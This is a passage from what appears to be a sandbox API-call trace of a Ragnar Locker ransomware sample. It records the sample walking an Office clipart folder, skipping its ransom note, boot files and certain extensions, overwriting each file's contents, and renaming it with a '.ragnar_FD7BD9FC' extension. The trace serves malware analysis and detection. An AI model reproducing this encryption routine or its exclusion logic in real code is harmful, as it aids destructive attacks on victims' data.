lpOverlapped=0x0) returned 1 [0093.340] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.341] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.341] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x69f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.341] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.341] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.341] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.341] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.341] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.341] GetProcessHeap () returned 0x580000 [0093.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.341] CloseHandle (hObject=0x104) returned 1 [0093.341] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" [0093.341] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.ragnar_FD7BD9FC" [0093.341] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.342] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.342] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0093.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\RGNR_FD7BD9FC.txt") returned=".txt" [0093.342] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0093.342] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0093.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.342] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00516L.GIF" | out: lpString1="WB00516L.GIF") returned="WB00516L.GIF" [0093.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned=".GIF" [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="autorun.inf") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="boot.ini") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="bootfont.bin") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="bootsect.bak") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="bootmgr") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="bootmgr.efi") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.342] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="desktop.ini") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="iconcache.db") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="ntldr") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="ntuser.dat") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="ntuser.ini") returned 1 [0093.343] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="thumbs.db") returned 1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.343] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif")) returned 0x20 [0093.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.344] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4682) returned 1 [0093.344] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1241, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.344] GetProcessHeap () returned 0x580000 [0093.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.344] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.345] VirtualAlloc (lpAddress=0x0, dwSize=0x124a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.345] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.345] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.345] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x124a, lpOverlapped=0x0) returned 1 [0093.346] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.346] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x124a, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.346] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x124a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x124a, lpOverlapped=0x0) returned 1 [0093.346] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x124a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.347] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.347] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x124a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.347] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.347] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.347] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.347] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.347] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.347] GetProcessHeap () returned 0x580000 [0093.347] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.347] CloseHandle (hObject=0x104) returned 1 [0093.347] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" [0093.347] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.ragnar_FD7BD9FC" [0093.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.348] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0093.348] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.348] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00531L.GIF" | out: lpString1="WB00531L.GIF") returned="WB00531L.GIF" [0093.348] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned=".GIF" [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="autorun.inf") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="boot.ini") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="bootfont.bin") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="bootsect.bak") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="bootmgr") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="bootmgr.efi") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="desktop.ini") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="iconcache.db") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="ntldr") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="ntuser.dat") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="ntuser.ini") returned 1 [0093.348] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="thumbs.db") returned 1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.349] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif")) returned 0x20 [0093.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.349] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8215) returned 1 [0093.349] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x200e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.349] GetProcessHeap () returned 0x580000 [0093.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.349] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.351] VirtualAlloc (lpAddress=0x0, dwSize=0x2017, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.351] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.351] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.351] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2017, lpOverlapped=0x0) returned 1 [0093.352] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.352] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2017, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.352] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2017, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2017, lpOverlapped=0x0) returned 1 [0093.352] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2017, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.352] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.353] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2017, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.353] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.353] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.362] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.363] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.363] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.363] GetProcessHeap () returned 0x580000 [0093.363] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.363] CloseHandle (hObject=0x104) returned 1 [0093.363] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" [0093.363] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.ragnar_FD7BD9FC" [0093.363] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.364] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0093.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.364] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00673L.GIF" | out: lpString1="WB00673L.GIF") returned="WB00673L.GIF" [0093.364] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned=".GIF" [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="autorun.inf") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="boot.ini") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="bootfont.bin") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="bootsect.bak") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="bootmgr") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="bootmgr.efi") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="desktop.ini") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="iconcache.db") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="ntldr") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="ntuser.dat") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="ntuser.ini") returned 1 [0093.364] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="thumbs.db") returned 1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.365] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif")) returned 0x20 [0093.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.365] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8430) returned 1 [0093.365] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x20e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.366] GetProcessHeap () returned 0x580000 [0093.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.366] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.367] VirtualAlloc (lpAddress=0x0, dwSize=0x20ee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.367] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.367] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: 